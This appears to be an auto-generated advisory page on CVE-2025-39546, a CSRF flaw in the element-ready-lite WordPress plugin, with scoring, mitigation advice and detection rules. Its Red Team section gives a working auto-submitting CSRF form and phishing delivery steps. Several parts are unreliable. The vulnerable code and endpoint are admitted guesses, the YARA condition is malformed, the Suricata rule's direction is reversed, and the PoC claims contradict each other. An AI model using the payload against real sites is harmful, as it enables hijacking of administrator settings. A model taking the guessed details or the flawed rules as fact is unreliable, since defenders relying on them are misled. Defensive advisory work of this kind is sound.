CVE-2025-39546
Executive Summary
CVE-2025-39546 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the ElementsReady Addons for Elementor WordPress plugin (slug: element-ready-lite) developed by Quomodosoft. This vulnerability affects all versions up to and including 6.6.2. The flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious configurations, without their consent. As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve server-level software like Apache or Nginx.
The CVSS v3.1 base score is 4.3 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N. The attack vector is network-based, requires low complexity, and necessitates user interaction (e.g., clicking a crafted link). The impact is limited to integrity (low) with no confidentiality or availability impact. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time. No public proof-of-concept (PoC) or exploit code is available, and the patch status remains UNKNOWN / UNPATCHED.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is a PHP-based package (not NPM, PyPI, Go, or Ruby). The supply chain risk is moderate: if the plugin is compromised at the source, all sites using the vulnerable version could be affected. Administrators should verify the plugin's integrity via checksums provided by WordPress.org and monitor for updates.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | Required (R) |
| Scope (S) | Unchanged (U) |
| Confidentiality (C) | None (N) |
| Integrity (I) | Low (L) |
| Availability (A) | None (N) |
| Base Score | 4.3 (Medium) |
Threat Level: Medium. Exploitation requires social engineering to trick an admin into performing an action (e.g., clicking a link). The impact is limited to unauthorized configuration changes, not data theft or service disruption.
Deep Dive & Mechanics
The vulnerability stems from the plugin's failure to implement proper CSRF tokens or nonces on sensitive administrative actions. In WordPress, CSRF protection is typically enforced via nonce fields in forms and AJAX requests. The element-ready-lite plugin likely processes settings, import/export, or other admin actions without verifying a nonce, allowing an attacker to forge requests.
Attack Flow:
- An attacker crafts a malicious HTML page or email containing a forged request (e.g., a POST to
wp-admin/admin-post.php?action=element_ready_save_settings). - The attacker lures an authenticated WordPress admin to visit the crafted page.
- The admin's browser automatically sends the forged request with their session cookies.
- The plugin processes the request without CSRF validation, altering plugin settings (e.g., disabling security features, injecting malicious JavaScript, or changing API keys).
Root Cause: Missing or improper implementation of wp_nonce_field() and check_admin_referer() / check_ajax_referer() in the plugin's admin handlers.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common CSRF fixes.
Vulnerable Code (PHP):
// In admin/settings.php
function element_ready_save_settings() {
// No nonce verification
update_option('element_ready_api_key', $_POST['api_key']);
// ... other settings
}
add_action('admin_post_element_ready_save_settings', 'element_ready_save_settings');
Patched Code (PHP):
// In admin/settings.php
function element_ready_save_settings() {
// Verify nonce
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'element_ready_save_settings_nonce')) {
wp_die('Security check failed.');
}
update_option('element_ready_api_key', sanitize_text_field($_POST['api_key']));
// ... other settings
}
add_action('admin_post_element_ready_save_settings', 'element_ready_save_settings');
Additionally, the form should include:
<?php wp_nonce_field('element_ready_save_settings_nonce'); ?>
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with
element-ready-lite<= 6.6.2 installed and activated. - An authenticated admin session (target must be logged in).
Step 1: Craft the CSRF Payload
Create an HTML file (csrf.html) that auto-submits a form to the vulnerable endpoint:
<html>
<body>
<form id="csrf" action="http://target-site.com/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="element_ready_save_settings">
<input type="hidden" name="api_key" value="attacker_controlled_key">
<input type="hidden" name="disable_security" value="1">
<input type="submit" value="Click me">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
Step 2: Deliver the Payload
- Host the HTML file on an attacker-controlled server.
- Send a phishing email or social media message with a link to the file.
- Alternatively, use a URL shortener to obfuscate the link.
Step 3: Verify Exploitation
- Check if the plugin settings have changed (e.g., API key updated, security features disabled).
- Monitor for any injected malicious content (e.g., JavaScript in widget outputs).
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual POST requests to
admin-post.phpwith unexpectedactionparameters. - Look for spikes in failed nonce checks in WordPress debug logs.
- Use the detection rules below.
Mitigation:
- Immediately update the plugin if a patch becomes available.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-post.phpwithout a valid nonce. - Educate administrators about phishing risks and the importance of verifying URLs.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-post.phpwithaction=element_ready_save_settings(or similar) without a_wpnonceparameter. - Referer headers from unexpected domains (e.g., attacker-controlled sites).
- POST requests to
- File IOCs:
- Modified plugin files in
/wp-content/plugins/element-ready-lite/(check file integrity via checksums). - Suspicious entries in
wp_optionstable (e.g.,element_ready_api_keychanged).
- Modified plugin files in
- Log IOCs:
- WordPress debug log entries:
PHP Notice: Undefined index: _wpnonce in .../element-ready-lite/admin/settings.php. - Failed nonce verification logs (if custom logging is enabled).
- WordPress debug log entries:
Detection Engineering
YARA Rule
rule Detect_CVE_2025_39546_CSRF_Vulnerability {
meta:
description = "Detects vulnerable code patterns in element-ready-lite plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-39546"
strings:
$vuln_func = "admin_post_" nocase
$no_nonce = "update_option" nocase
$plugin_path = "element-ready-lite" nocase
condition:
$plugin_path and $vuln_func and $no_nonce and not for any of ($no_nonce) : ( #filesize < 10KB )
}
Sigma Rule
title: CVE-2025-39546 - CSRF Exploitation Attempt Against element-ready-lite
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects POST requests to admin-post.php with suspicious action parameters related to element-ready-lite
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
c-uri|contains: '/wp-admin/admin-post.php'
cs-uri-query|contains: 'action=element_ready'
condition: selection
falsepositives:
- Legitimate admin actions (if nonce is present)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39546 - CSRF Attempt Against element-ready-lite"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=element_ready"; http_uri; pcre:"/action=element_ready_save_settings/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if no patch is available and the functionality is not critical.
- Implement a WAF rule to block requests to
admin-post.phpthat lack a_wpnonceparameter. - Enforce strict Content Security Policy (CSP) headers to mitigate potential XSS chaining.
Long-Term Fix:
- The vendor (Quomodosoft) must release a patched version (e.g., 6.6.3) that adds CSRF nonce verification to all admin actions.
- As a workaround, site administrators can add a custom plugin or mu-plugin that hooks into
admin_initand verifies nonces for allelement_ready_*actions.
Verification:
- After applying a patch, test by attempting to submit a form without a nonce (should fail with "Security check failed").
- Monitor logs for any remaining CSRF attempts.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.